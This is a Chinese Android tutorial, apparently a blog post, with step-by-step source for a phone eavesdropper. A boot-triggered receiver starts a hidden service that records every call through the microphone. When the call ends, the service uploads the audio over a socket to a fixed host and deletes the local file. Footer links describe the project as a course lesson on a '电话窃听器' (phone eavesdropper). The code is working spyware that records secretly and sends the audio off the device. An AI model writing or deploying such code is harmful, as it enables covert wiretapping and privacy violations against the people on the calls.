基本步骤:
1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务
>>>> 在manifest中完成配置
2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务
>>>>在BootBroadcastReceiver的onReceive()中完成
3、在PhoneService的onCreate()设置PhoneStateListener的功能
>>>>在PhoneService的onCreate()完成
4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能
>>>> 在onCallStateChanged()完成
5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成
==================================================================
具体实现的代码
1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务
>>>> 在manifest中完成配置
<application..... >
<service android:name=".PhoneService"/>
<receiver android:name=".BootBroadcastReceiver">
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务
>>>>在BootBroadcastReceiver的onReceive()中完成
public void onReceive(Context context, Intent intent) {
Intent service = new Intent(context, PhoneService.class);//显式意图
context.startService(service);//Intent激活组件(Service)
}
3、在PhoneService的onCreate()设置PhoneStateListener的功能
>>>>在PhoneService的onCreate()完成
public void onCreate() {
super.onCreate();//父类的方法不能去掉,必须保留
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能
>>>> 在onCallStateChanged()完成
private final class PhoneListener extends PhoneStateListener{ private String incomingNumber; private File file; private MediaRecorder mediaRecorder; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_RINGING://来电 this.incomingNumber = incomingNumber; break; case TelephonyManager.CALL_STATE_OFFHOOK://接通电话 file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp"); mediaRecorder = new MediaRecorder(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mediaRecorder.setOutputFile(file.getAbsolutePath()); mediaRecorder.prepare(); mediaRecorder.start();//开始录音 break; case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态 if(mediaRecorder != null){ mediaRecorder.stop(); mediaRecorder.release(); mediaRecorder = null; uploadFile(); } break; } } catch (Exception e) { e.printStackTrace(); } }
5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成
private void uploadFile() {
new Thread(new Runnable() {
public void run() {
try {
if(file!=null && file.exists()){
Socket socket = new Socket("192.168.1.100", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileOutStream.read(buffer)) != -1){
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
file.delete();
file = null;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}
相关推荐
完全自定义界面的来电秀demo,1.针对联系人独立设置来电壁纸,真正个性来电; 2.来电壁纸,自由添加,个性无限; 3.来电归属地显示,来电信息了如指掌; 3.丰富设置,细到来电信息字体大小,满足不同人群;
电话监听器 执照 麻省理工学院执照 ... 特此免费授予获得此软件和相关文档文件(“软件”)副本的任何人无限制地处理软件的权利,包括但不限于使用,复制,修改,合并的权利,发布,分发,再许可和/或出售本软件的副本...
39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...
39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...
39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...
用法需要 tiapp.xml 上的模块: < modules> < module xss=removed>com.baboonmedia.phonelistener</ module> </ modules> 您还需要请求一些权限才能收听电话更改: < manifest> < uses xss=removed> < uses-...
这篇文章教你如何帮助用户自动接听或者挂断来电。当然并不是我原创的代码,我只不过是把stackoverflow上的一些代码整合了一下,做个代码的二传手。...<receiver android:name=.incomingcall.PhoneListener> <ac